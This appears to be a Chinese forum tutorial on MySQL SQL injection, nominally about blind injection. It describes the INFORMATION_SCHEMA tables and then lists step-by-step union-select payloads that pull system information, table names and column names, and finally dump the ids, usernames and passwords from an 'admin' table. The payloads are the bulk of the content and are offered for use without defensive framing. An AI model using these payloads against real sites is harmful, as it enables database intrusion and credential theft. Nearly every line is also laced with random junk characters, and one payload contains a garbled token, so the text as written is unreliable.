本文介绍MYSQL盲注的一些语句和方法. b& d" f/ e, I) T
; Z; h+ e% z, `: q. \/ d
学习盲注前先了解下 IFORMATION_SCHEMA 库. h3 G3 k. [; P% l3 S% s
$ o5 L9 N+ C' b7 qMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有 m/ K# f4 C X5 ~& w7 t
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
5 |+ ~0 N5 L( w5 _2 F# U0 M1.得到所有数据库名:
0 H% D2 T" _8 W& ?$ w|SCHEMATA ->存储数据库名的表
& g3 j: w @7 y: S3 c3 `8 ^: P|---字段:SCHEMA_NAME ->数据库名称
' G" ]% o6 n5 Z) d
1 Q2 R/ i4 X ~|TABLES ->存储表名
9 v d- W5 ?2 r1 ]' E! P9 c|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
- o- W2 U2 }# h: u, H|---字段:TABLE_NAME ->存储表的表名1 X1 s* g# e% d+ a' ^
9 E. \* r! K H; d; b- k
|COLUMNS ->存储的字段名表; S- Z& }. P$ c D5 m7 K5 X
|---字段:TABLE_SCHEMA ->该字段所属数据库名( {4 K" V7 {+ C6 l$ T& K& ?& \3 ^
|---字段:TABLE_NAME ->存储所属表的名称/ \9 D5 f( W( Y
, W; r5 V3 l' x/ Z8 A) J6 n|---字段:COLUMN_NAME ->该字段的名称
8 h h0 _5 d3 f% a+ y# y' K, \8 w! u" ^% S& ]3 O$ F7 p3 B7 i
' Z; \, D. T4 b0 P9 l8 Y
, f, U6 U, M! }: t6 x5 _3 K2 M- |###########################################################################6 Y) [! c3 t8 w8 K) P1 B/ c1 z
, L r8 [+ @/ N1 h0x001 获取系统信息:
! G7 b8 t. j0 Q. o( k8 w; w# o7 H. _% o
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
( w2 J# n& C- F6 ^& L) [$ X+ s* ~
/*
1 F/ W+ D% s0 |0 N) Z% [4 W* M1 b& q- M! \4 ^. q
@@global.version_compile_os 获取系统版本, Q% o$ g% \/ C$ J/ ?
2 E& S4 C C8 T* s' a$ \
@@datadir 数据库路径
: h$ H5 l3 j- v# ~( ?9 Rdatabase() 当前数据库名称: M9 j* E5 F b; I6 q
0x3c62723e 换行HEX值
6 H6 I9 N' I) ^* c- d$ D" O5 F5 o3 A! S
*/
+ ] |7 c& h( R, O# ~4 h& h e
3 f7 p0 h- I' Z* F
9 ?9 @/ }& A% G! p2 L/ \
# |6 i" N! m' G3 X" `; f1 g, g######################################################################
, ~3 o7 M9 j. ]7 k) Y g0 ]. G1 a6 C7 Y7 G/ J" G- o
0x002 获取表名
) I% x5 b1 B0 @" c* l; q8 q
$ e; p$ d+ D' k- B1 q) t% runion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*+ J, W# I" [1 G1 }
9 i% B+ c+ }2 }
- S& K3 s, r. p9 s7 C3 o) [& _/ c) Y% m! g) r
/*
2 Y( c/ C7 u2 o* _0 B' J% L% X+ {+ l0 c+ c- t1 o% a" u
0x67617264656e 为当前数据库名$ v+ M P( Z$ r N# Y: c
- X' ~; B/ I, \3 o0 r" Ggroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名$ ~8 P" \7 C9 t
9 F0 s) p' y' `2 V& w+ W8 F
*/) V$ b9 B( g/ `# t5 N5 a
4 M! U$ ^! h* H% N8 d
######################################################################1 Q% I n# }5 Q
' a2 w5 t. Z4 B ! a% v; L, r1 s9 b
/ b* W) k0 o* z+ s) |
0x003 获取字段
" J+ s3 X1 V" H* E) n$ N/ f
; N8 ^* u7 W; D! C8 Ounion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
# Z+ T3 o3 _! L: U. H1 ~( G& W! `& n6 R, u- U0 v! ]. g
/*
r$ S2 ?/ b6 p: H; U0 C, d; B, {* m2 X. f0 _
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段0 l3 s6 [' O( A. D
9 l, X7 `$ L6 U$ ]3 i
0x61646d696e ->选择一个表
2 m5 Z( z" J9 |$ Y! k4 B) A6 v% ]5 X& _( c
0x67617264656e ->数据库名
3 m* q9 _! N; m9 t/ w. t2 t" H% m4 Z+ z+ t( u" I
*/8 l5 A$ o3 K% n* F8 Y
$ s4 W3 y7 H3 Z; g, N#####################################################################
; W+ \6 q4 k; k' |3 w. M' L8 v
- M, G! `" U( X- T+ b; v
* P9 H+ H: P% C2 j3 O: N1 r2 E5 M$ Z0 S& g4 w
0x004 获取数据& A/ |* h0 }' ]5 d/ T
( v0 P+ A8 a5 E$ B
union select 1,2,3! M2 J5 L) Q: z9 B
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
% Q% ?2 T* U3 M8 X0 R( o4 w7 d% q/ @& ]1 }2 B
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin$ l# w. Z+ o! y) }7 t( H
l, n+ u0 a& P" A. t
/ F! j) H, ^6 Y# }$ A
& T" Q% x- t3 i; l; ?2 g
/*/ c* E. D% G/ v, J, L w
+ x$ w# v- p" w6 V5 N+ ]
0x3c62723e 换行符号HEX编码+ U: r% j& Q( V6 e
4 X0 `5 u ~! S9 agroup_concat 同时获得该字段所有数据
+ o2 M+ S/ E6 r
: u j0 L2 ~( x; ^4 h& X*/7 v' G7 X, j" l+ s
6 @) [& z* x, q+ Y( B4 s |